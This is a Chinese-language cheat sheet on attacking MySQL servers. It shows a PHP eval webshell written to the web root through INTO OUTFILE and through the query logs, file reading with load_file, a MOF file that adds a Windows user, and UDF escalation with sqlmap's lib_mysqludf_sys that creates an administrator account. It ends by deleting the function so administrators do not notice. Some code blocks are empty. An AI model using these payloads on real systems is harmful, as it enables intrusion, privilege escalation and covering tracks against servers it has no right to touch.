MySQL利用总结
本文最后更新于:几秒前
一、 写入Shell
Select into outfile
(需要有Root权限)此方式必须具有Root权限.
select xx into outfile filename
原本是用于快速导出某个表中的数据. 利用此方式,我们可以将查询语句修改为如下形式,将Webshell 导出到Web目录下.Select '<?php eval($_POST[command])?> into outfile /var/www/html/shell.php'
但是执行此语句时,可能会出现如下问题:
权限不足
此语句必须使用Root权限执行,否则会出现以下提示:
Access denied for user 'test'@'localhost' (using password: YES)
Secure_file_priv 限制
使用
show variables like '%secure%';
来查看secure_file_priv 参数限制.参数值 说明 null 表示Mysql不允许导入或导出 /tmp/ 表示Mysql导入导出只能在/tmp下面 空值 表示Mysql不对导入导出做限制
使用general_log 写入Shell (需要有Root权限)
打开general log之后,所有的查询语句都可以在general log文件中以可读的方式得到,但是这样general log文件会非常大,所以默认都是关闭的.
有的时候为了查错等原因,还是需要暂时打开general log的。换句话说general_log_file会记录所有的查询语句,以原始的状态来显示,在每一次更改general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建. 如果我们将日志文件设定为网页可执行文件,那么查询操作将会将全部写入到指定的文件,通过访问该文件,即可获得WebShell.
默认配置如下:
可以看到默认配置将general_log关闭,文件的位置是一个明确的日志文件,由于我们拥有Root权限,所以只需要修改配置,即可解除这些限制.
1 |
|
使用慢查询日志写入Webshell
慢查询日志:记录所有执行时间超过long_query_time秒的所有查询或者不使用索引的查询。默认情况下,MySQL数据 库是不开启慢查询日志的,long_query_time的默认值为10(即10秒,通常设置为1秒),即运行10秒以上 的语句是慢查询语句。
利用前提需要具有Root权限,secure_file_priv没有具体值.
使用
show variables like '%slow%';
来查看慢查询日志的具体配置.
使用如下语句开启慢查询日志.
1 |
|
二、 读取文件
load_file() 的作用是读取文件的内容,并将文件内容以字符串的形式返回,这个函数在渗透的过程中尤其的好用,但是这个函数的使用依然受到权限的限制以及 secure_file_Priv 的限制.
Windows 下常见敏感文件路径:
1 |
|
Linux 下常见敏感文件路径:
1 |
|
三、 提权
Mysql 提权的必要条件: 具有MySQL的root权限,且MySQL以system权限运行,具有执行SQL语句的权
MOF提权
利用了
C:\Windows\System32\wbem\MOF
目录下的nullevt.mof
文件,利用该文件每分钟会去执行一次的特性,向该文件中写入cmd命令,就会被执行. 一般只用于Windows系统且低版本可用,例如windows xp,windows server 2003之类.此外还需要有对C:\Windows\System32\wbem\MOF
目录读写的权限.
方法:
在可写目录中上传mof文件。
把这个文件复制到
C:/Windows/System32/wbem/MOF/nullevt.mof
目录下,可使用load_file 配合 into dumpfile 来实现.MOF 文件示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# pragma namespace("\.\root\subscription")
instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
- UDF提权
UDF(User Defined Funtion)用户自定义函数,通过添加新的函数,对mysql服务器进行功能扩充。
使用前提:
Windows:
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的MySQL\Lib\Plugin\
文件夹下,该目录默认是不存在的,需 要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\
文件夹,然后将udf.dll导入到该目录。
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/
目录,在windows server 2000 下放置在c:/winnt/system32/
目录。
Linux:
在my.ini的[mysqld]下,添加secure_file_priv=””,不限制导入导出路径
具有数据库root账户的密码,且mysql数据库以root权限运行
具有sql语句的执行权限
导出目录可写
系统中的selinux处于关闭状态
Windows步骤:
- 在
sqlmap/data/udf/mysql
目录下,在Windows目录中有32位和64位的dll文件(MySQL位数)。
文件夹中的dll文件是通过异或编码的,可以使用sqlmap/extract/cloak.py
进行解码python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
- 将解码后的DLL文件(包含用户自定义函数的DLL文件)上传到可写目录,再导入到
MySQL\lib\plugin\
中
1 |
|
将DLL中的函数引入到MySQL数据库中
创建自定义函数
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll
注意:需要创建.dll文件中存在的函数,可以使用十六进制编辑器打开.dll文件,查看可以被创建的函数。
- 使用该函数去执行系统命令提权
查看当前用户权限
select sys_eval("whoami");
创建账号并提升为管理员权限
select sys_eval("net user winhex passw@ord /add");
select sys_eval("net localgroup administrators winhex /add");
- 将之前引入的函数删除掉,防止被管理员发现,防止其他攻击者使用
drop function sys_eval;
delete from mysql.func where name='sys_eval';
Linux 步骤:
- 查找插件库的路径
show variables like '%plugin%';
得到的结果为:
Variable_name | Value |
---|---|
plugin_dir | /usr/lib64/mysql/plugin |
- 找到对应操作系统数据库的UDF库文件
sqlmap-master\data\udf\mysql\linux\64
下的lib_mysqludf_sys.so_
文件
将so文件(UDF库文件)进行16进制编码
将so文件的内容解码,写入到mysql插件库目录中
select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
- 查看udf库所支持的函数
注意:需要创建.so文件中存在的函数,可以使用十六进制编辑器打开.so文件,查看可以被创建的函数。
- 创建函数
写入之后,执行创建函数的命令,就会创建一个sys_eval的函数,用来执行系统命令,这个函数执行的系统命令全部都是system权限。
create function sys_eval returns string soname 'xxx.so';
- 执行系统命令,提权
sys_eval
这个函数就可以执行系统命令,括号里输入系统命令即可。
- 查看当前用户权限
select sys_eval("whoami");